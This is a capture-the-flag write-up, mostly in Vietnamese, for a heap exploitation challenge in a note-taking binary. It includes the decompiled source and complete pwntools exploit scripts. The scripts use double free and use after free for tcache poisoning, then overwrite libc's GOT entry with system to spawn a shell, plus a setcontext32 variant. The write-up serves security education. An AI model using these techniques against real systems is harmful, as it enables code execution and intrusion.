pwn - BugBounty

Dear hecker, We are The Inquisition, and we are excited to announce ourupcoming program, "Note" - a program for Space Marines tosave their notes. Before we officially release it, we need yourhelp to ensure its security. Therefore, we would like to invite YOU - elite hecker of TheImperium - to our bug bounty program. Emperor's light guidesyou. For the Emperor! The Inquisition

November 28, 2025 October 15, 2025 Hard
Author Author Hung Nguyen Tuong

Setup

Chúng ta tiến hành chạy docker để lấy libc và loader.

ubuntu@hungnt-PC:~/ctf/bugbounty/player$ docker run --rm -p 5000:5000 --privileged -it bugbounty
[I][2025-10-15T14:56:54+0000] Mode: LISTEN_TCP                                                                                                                                               
[I][2025-10-15T14:56:54+0000] Jail parameters: hostname:'app', chroot:'', process:'/app/run', bind:[::]:5000, max_conns:0, max_conns_per_ip:0, time_limit:20, personality:0, daemonize:false, clone_newnet:true, clone_newuser:true, clone_newns:true, clone_newpid:true, clone_newipc:true, clone_newuts:true, clone_newcgroup:true, clone_newtime:false, keep_caps:false, disable_no_new_privs:false, max_cpus:0                                                                                                                                                                     
[I][2025-10-15T14:56:54+0000] Mount: '/' flags:MS_RDONLY type:'tmpfs' options:'' dir:true                                                                                                    
[I][2025-10-15T14:56:54+0000] Mount: '/srv' -> '/' flags:MS_RDONLY|MS_NOSUID|MS_NODEV|MS_BIND|MS_REC|MS_PRIVATE type:'' options:'' dir:true                                                  
[I][2025-10-15T14:56:54+0000] Mount: '/proc' flags:MS_RDONLY|MS_NOSUID|MS_NODEV|MS_NOEXEC type:'proc' options:'' dir:true
[I][2025-10-15T14:56:54+0000] Mount: '/tmp' flags:MS_NOSUID|MS_NODEV type:'tmpfs' options:'size=1048576' dir:true
[I][2025-10-15T14:56:54+0000] Uid map: inside_uid:1000 outside_uid:1000 count:1 newuidmap:false
[I][2025-10-15T14:56:54+0000] Gid map: inside_gid:1000 outside_gid:1000 count:1 newgidmap:false
[I][2025-10-15T14:56:54+0000] Listening on [::]:5000
ubuntu@hungnt-PC:~/ctf/bugbounty/player$ nc 0 5000

======= Welcome to "Note Application" =======
1. Add (add a note)
2. Delete (delete a note)
3. Write message (write your message into a note) 
4. Print message (get your message from a note)
5. Save (save note into file)
6. Quit

[*] Your choice:
ubuntu@hungnt-PC:~/ctf/bugbounty/player$ ps aux | grep /app/run
ubuntu       26596  0.0  0.0   2784  1516 ?        SNs  21:57   0:00 /app/run
ubuntu       26849  0.0  0.0   6544  2336 pts/2    S+   21:57   0:00 grep --color=auto /app/run

ubuntu@hungnt-PC:~/ctf/bugbounty/player$ gdb -p 26596
GNU gdb (Debian 16.3-5) 16.3
...
pwndbg> vmmap
LEGEND: STACK | HEAP | CODE | DATA | WX | RODATA
             Start                End Perm     Size  Offset File (set vmmap-prefer-relpaths on)
    0x562fc8502000     0x562fc8503000 r--p     1000       0 /app/run
    0x562fc8503000     0x562fc8504000 r-xp     1000    1000 /app/run
    0x562fc8504000     0x562fc8505000 r--p     1000    2000 /app/run
    0x562fc8505000     0x562fc8506000 r--p     1000    2000 /app/run
    0x562fc8506000     0x562fc8507000 rw-p     1000    3000 /app/run
    0x562fe5a6f000     0x562fe5a90000 rw-p    21000       0 [heap]
    0x7fb94bf26000     0x7fb94bf29000 rw-p     3000       0 [anon_7fb94bf26]
    0x7fb94bf29000     0x7fb94bf51000 r--p    28000       0 /usr/lib/x86_64-linux-gnu/libc.so.6
    0x7fb94bf51000     0x7fb94c0e6000 r-xp   195000   28000 /usr/lib/x86_64-linux-gnu/libc.so.6                                                                                           
    0x7fb94c0e6000     0x7fb94c13e000 r--p    58000  1bd000 /usr/lib/x86_64-linux-gnu/libc.so.6
    0x7fb94c13e000     0x7fb94c13f000 ---p     1000  215000 /usr/lib/x86_64-linux-gnu/libc.so.6
    0x7fb94c13f000     0x7fb94c143000 r--p     4000  215000 /usr/lib/x86_64-linux-gnu/libc.so.6
    0x7fb94c143000     0x7fb94c145000 rw-p     2000  219000 /usr/lib/x86_64-linux-gnu/libc.so.6                                                                                           
    0x7fb94c145000     0x7fb94c152000 rw-p     d000       0 [anon_7fb94c145]
    0x7fb94c154000     0x7fb94c156000 rw-p     2000       0 [anon_7fb94c154]
    0x7fb94c156000     0x7fb94c15a000 r--p     4000       0 [vvar]
    0x7fb94c15a000     0x7fb94c15c000 r--p     2000       0 [vvar_vclock]
    0x7fb94c15c000     0x7fb94c15e000 r-xp     2000       0 [vdso]
    0x7fb94c15e000     0x7fb94c160000 r--p     2000       0 /usr/lib/x86_64-linux-gnu/ld-linux-x86-64.so.2
    0x7fb94c160000     0x7fb94c18a000 r-xp    2a000    2000 /usr/lib/x86_64-linux-gnu/ld-linux-x86-64.so.2                                                                                
    0x7fb94c18a000     0x7fb94c195000 r--p     b000   2c000 /usr/lib/x86_64-linux-gnu/ld-linux-x86-64.so.2
    0x7fb94c196000     0x7fb94c198000 r--p     2000   37000 /usr/lib/x86_64-linux-gnu/ld-linux-x86-64.so.2
    0x7fb94c198000     0x7fb94c19a000 rw-p     2000   39000 /usr/lib/x86_64-linux-gnu/ld-linux-x86-64.so.2                                                                                
    0x7ffda0f08000     0x7ffda0f29000 rw-p    21000       0 [stack]
ubuntu@hungnt-PC:~/ctf/bugbounty/player$ docker ps -a
CONTAINER ID   IMAGE                  COMMAND                  CREATED         STATUS          PORTS                                         NAMES
d2fefaac1751   bugbounty              "/jail/run"              3 minutes ago   Up 3 minutes    0.0.0.0:5000->5000/tcp, [::]:5000->5000/tcp   hardcore_volhard

ubuntu@hungnt-PC:~/ctf/bugbounty/player$ docker cp d2fefaac1751:/srv/usr/lib/x86_64-linux-gnu/libc.so.6 .
Successfully copied 2.22MB to /home/ubuntu/ctf/bugbounty/player/.

ubuntu@hungnt-PC:~/ctf/bugbounty/player$ docker cp d2fefaac1751:/srv/usr/lib/x86_64-linux-gnu/ld-linux-x86-64.so.2 .
Successfully copied 243kB to/home/ubuntu/ctf/bugbounty/player/.

Cuối cùng sử dụng pwninit để patch binary:

ubuntu@hungnt-PC:~/ctf/bugbounty/player$ pwninit --bin chall
bin: chall
libc: ./libc.so.6
ld: ./ld-linux-x86-64.so.2

copying chall to chall_patched
running patchelf on chall_patched
writing solve.py stub

GLIBC Version

ubuntu@hungnt-PC:~/ctf/bugbounty/player$ strings libc.so.6 | grep "GLIBC "
GNU C Library (Ubuntu GLIBC 2.35-0ubuntu3.8) stable release version 2.35.

Phiên bản libc đang được sử dụng là 2.35.

Source Code

void __fastcall __noreturn main(__int64 a1, char **a2, char **a3)
{
  int index_4; // eax
  FILE *note_stream; // rbx
  size_t msg_len; // rax
  char is_opened; // [rsp+1Fh] [rbp-141h]
  int index_1; // [rsp+20h] [rbp-140h]
  int size; // [rsp+24h] [rbp-13Ch]
  int index_2; // [rsp+28h] [rbp-138h]
  int index_3; // [rsp+2Ch] [rbp-134h]
  int nbytes; // [rsp+30h] [rbp-130h]
  int index_4_tmp; // [rsp+38h] [rbp-128h]
  int index_5; // [rsp+3Ch] [rbp-124h]
  __int64 sizes[8]; // [rsp+50h] [rbp-110h] BYREF
  char *messages[17]; // [rsp+90h] [rbp-D0h] BYREF
  char nbytes_str[8]; // [rsp+11Ah] [rbp-46h] BYREF
  __int16 v17; // [rsp+122h] [rbp-3Eh]
  char choice[8]; // [rsp+124h] [rbp-3Ch] BYREF
  int v19; // [rsp+12Ch] [rbp-34h]
  char index_str[8]; // [rsp+130h] [rbp-30h] BYREF
  int v21; // [rsp+138h] [rbp-28h]
  char size_str[8]; // [rsp+13Ch] [rbp-24h] BYREF
  int v23; // [rsp+144h] [rbp-1Ch]
  unsigned __int64 canary; // [rsp+148h] [rbp-18h]

  canary = __readfsqword(0x28u);
  init(a1, a2, a3);
  print_menu(a1);
  is_opened = 0;
  memset(messages, 0, 0x80u);
  memset(sizes, 0, sizeof(sizes));
  *choice = 0;
  v19 = 0;
  *index_str = 0;
  v21 = 0;
  *size_str = 0;
  v23 = 0;
  while ( 1 )
  {
    fflush(stdin);
    if ( is_opened != 1 )
    {
      stream = fopen("saved_note.txt", "w+");
      is_opened = 1;
    }
    puts(&new_line);
    printf("[*] Your choice: ");
    scanf("%2s", choice);
    puts(&new_line);
    if ( atoi(choice) == 1 )
    {
      printf("  Index: ");
      scanf("%2s", index_str);
      puts(&new_line);
      index_1 = atoi(index_str);
      if ( index_1 > 15 )
        __assert_fail("iIdex < 16", "challenge.c", 0x38u, "main");
      printf("  Size: ");
      scanf("%10s", size_str);
      puts(&new_line);
      size = atoi(size_str);
      messages[index_1] = malloc(size);
      *(sizes + index_1) = size;
    }
    else if ( atoi(choice) == 2 )
    {
      printf("  Index: ");
      scanf("%2s", index_str);
      puts(&new_line);
      index_2 = atoi(index_str);
      if ( index_2 > 15 )
        __assert_fail("iIdex < 16", "challenge.c", 0x48u, "main");
      free(messages[index_2]);
    }
    else if ( atoi(choice) == 3 )
    {
      printf("  Index: ");
      scanf("%2s", index_str);
      puts(&new_line);
      index_3 = atoi(index_str);
      *nbytes_str = 0;
      v17 = 0;
      printf("  Size: ");
      scanf("%10s", nbytes_str);
      nbytes = atoi(nbytes_str);
      if ( nbytes >= *(sizes + index_3) )
      {
        puts("[!] No more space !!!");
      }
      else
      {
        fflush(stdin);
        if ( messages[index_3] >> 32 == size_str >> 32 )
        {
          puts("HERETICS !!!");
          exit(0);
        }
        *(sizes + index_3) -= read(0, messages[index_3], nbytes);
      }
    }
    else if ( atoi(choice) == 4 )
    {
      printf("  Index: ");
      scanf("%2s", index_str);
      puts(&new_line);
      index_4 = atoi(index_str);
      index_4_tmp = index_4;
      if ( index_4 > 15 )
        __assert_fail("iIdex < 16", "challenge.c", 0x71u, "main");
      printf("  Data: ");
      puts(messages[index_4_tmp]);
    }
    else if ( atoi(choice) == 5 )
    {
      printf("  Index: ");
      scanf("%2s", index_str);
      puts(&new_line);
      index_5 = atoi(index_str);
      if ( index_5 > 15 )
        __assert_fail("iIdex < 16", "challenge.c", 0x7Du, "main");
      puts("[*] Saving the note...");
      note_stream = stream;
      msg_len = strlen(messages[index_5]);
      fwrite(messages[index_5], 1u, msg_len - 1, note_stream);
    }
    else
    {
      if ( atoi(choice) == 6 )
      {
        if ( is_opened )
          fclose(stream);
        exit(0);
      }
      puts("[!] You sure that is a command ??");
      puts(&new_line);
    }
  }
}

Mitigation

Solve

Binary bật FULL RELRO, chặn việc ghi đè lên GOT trong chính binary đó. Tuy nhiên, libc lại chỉ bật Partial RELRO. Do đó, hướng tấn công sẽ là cố gắng ghi đè GOT trong libc:

Trước tiên, ta cần leak địa chỉ libc để tính toán địa chỉ của hàm system() hoặc các one-gadget. Tiếp theo, ta sẽ leak địa chỉ heap để thực hiện tcache poisoning, dẫn đến cấp phát bộ nhớ tùy ý và từ đó ghi đè vào GOT.

option 2, sau khi free(messages[index_2]);, con trỏ không được đặt về NULL, tạo ra lỗ hổng double free. Ở option 3, thiếu kiểm tra con trỏ, dẫn đến use after free. Ta sẽ lợi dụng những lỗ hổng này để thực hiện tcache poisoning.

Tại option 4, lệnh puts(messages[index_4_tmp]); cho phép ta kiểm soát được giá trị của messages[index_4_tmp]. Ta cần kiểm tra xem hàm puts có gọi đến một GOT entry nào trong libc mà ta có thể tận dụng hay không:

Vậy, ta sẽ ghi đè GOT entry của strlen tại offset 0x21a098 trong libc để chiếm được shell.

Script

#!/usr/bin/env python3

from pwn import *

exe = ELF("./chall_patched")
libc = ELF("./libc.so.6")
ld = ELF("./ld-linux-x86-64.so.2")

context.terminal = ['tmux', 'new-window'] 
context.binary = exe

gdbscript = '''
set follow-fork-mode parent
c
'''

p = None

if args.LOCAL:
    p = process([exe.path])
    if args.GDB:
        gdb.attach(p, gdbscript=gdbscript)
else:
    host = ""
    port = 0
    p = remote(host, port)

def add_note(index, size):
    p.sendlineafter(b'choice:', b'1')
    p.sendlineafter(b'Index:', str(index).encode())
    p.sendlineafter(b'Size:', str(size).encode())

def delete_note(index):
    p.sendlineafter(b'choice:', b'2')
    p.sendlineafter(b'Index:', str(index).encode())

def write_message(index, size, message):
    p.sendlineafter(b'choice:', b'3')
    p.sendlineafter(b'Index:', str(index).encode())
    p.sendlineafter(b'Size:', str(size).encode())
    p.sendline(message)

def print_message(index):
    p.sendlineafter(b'choice:', b'4')
    p.sendlineafter(b'Index:', str(index).encode())
    p.recvuntil(b'Data:')

SIZE_1 = 0x500 # Lớn hơn 0x410 byte để không đi vào tcache bin
SIZE_2 = 0x300 # Vào tcahce bin

add_note(0, SIZE_1)

for i in range(1, 3):
    add_note(i, SIZE_2)

# Đưa chunk 0 vào unsorted bin
delete_note(0)

# Cấp phát chunk 0 và leak địa chỉ libc
add_note(0, SIZE_1)
print_message(0)
LIBC_BASE = u64(p.recvline().strip().ljust(8, b'\0')) - 0x21ace0
success(f'libc base: {hex(LIBC_BASE)}')

# Đưa chunk 1 vào tcache bin
delete_note(1)

# Cấp phát chunk 1 để leak địa chỉ heap
add_note(1, SIZE_2)
print_message(1)
HEAP_BASE = u64(p.recvline().strip().ljust(8, b'\0')) << 12
success(f'heap base: {hex(HEAP_BASE)}')

# Free chunk 2 vào trước, chunk 1 vào sau để thực hiện tcache poisoning
delete_note(2)
delete_note(1)

# Sử dụng use-after-free để ghi đè con trỏ fd đã encoded tại chunk 1
# Vì địa chỉ được cấp phát phải được aligned (chia hết 16), ta nên cấp phát tại 0x21a090, 0x21a080, 0x21a070,...
offset = 0x21a080
print(hex(LIBC_BASE + offset))
encoded_abs_got = (LIBC_BASE + offset) ^ (HEAP_BASE >> 12)
info(f"encoded abs got: {hex(encoded_abs_got)}")
write_message(1, 8, p64(encoded_abs_got))

# Cấp phát 2 lần để ghi vào GOT entry.
add_note(1, SIZE_2)
add_note(2, SIZE_2)

system = LIBC_BASE + libc.symbols['system']
log.info(f"libc system(): {hex(system)}")

payload = b'/bin/sh'.ljust(0x21a098 - offset, b'\0') + p64(system)

# Ghi đè GOT
write_message(2, len(payload), payload)

# system('/bin/sh')
print_message(2)

p.interactive()

Hoặc chúng ta có thể sử dụng setcontext32 để mở shell:

Libc-GOT-Hijacking/Pre/README.md at main · n132/Libc-GOT-Hijacking

# shorter setcontext32
def liteContext(src: int,rsp=0,rbx=0,
    rbp=0,rsi=0,rdi=0,rcx=0,
    rdx=0,rip=0xDEADBEEF,) -> bytearray:
    b = bytearray(0x200)
    b[0x68:0x70] = p64(rdi)
    b[0x70:0x78] = p64(rsi)
    b[0x78:0x80] = p64(rbp)
    b[0x80:0x88] = p64(rbx)
    b[0x88:0x90] = p64(rdx)
    b[0x98:0xA0] = p64(rcx)
    b[0xA8:0xB0] = p64(rip)
    b[0xA0:0xA8] = p64(rsp)
    b[0xE0:0xE8] = p64(src)  # fldenv ptr
    # b[0x1C0:0x1C8] = p64(0x1F80)  # ldmxcsr == 0
    return b

libc.address = LIBC_BASE

def fx0(libc: ELF,nudge = 8, **kwargs) -> (int, bytes):
    # nudge is used to make sure ldmxcsr == 0, 
    # aka [got + 0x1c8-0x68 + nudge + 0x1c0] == 0
    got = libc.address + libc.dynamic_value_by_tag("DT_PLTGOT")
    plt_trampoline = libc.address + libc.get_section_by_name(".plt").header.sh_addr
    return got, flat(
        p64(0),
        p64(got + 0x1c8-0x68 + nudge), # Make sure ldmxcsr==0
        p64(libc.symbols["setcontext"] + 32),
        p64(plt_trampoline) * 0x36,
        liteContext(libc.sym["execve"], rsp=libc.symbols["environ"] + 8, **kwargs)[0x68-nudge:0xe8])

dest, payload = fx0(
    libc, rip=libc.sym["system"], rdi=libc.search(b"/bin/sh").__next__()
)

write_message(1, 8, p64(dest ^ (HEAP_BASE >> 12)))

add_note(1, SIZE_2)
add_note(2, SIZE_2)

write_message(2, len(payload), payload)

p.interactive()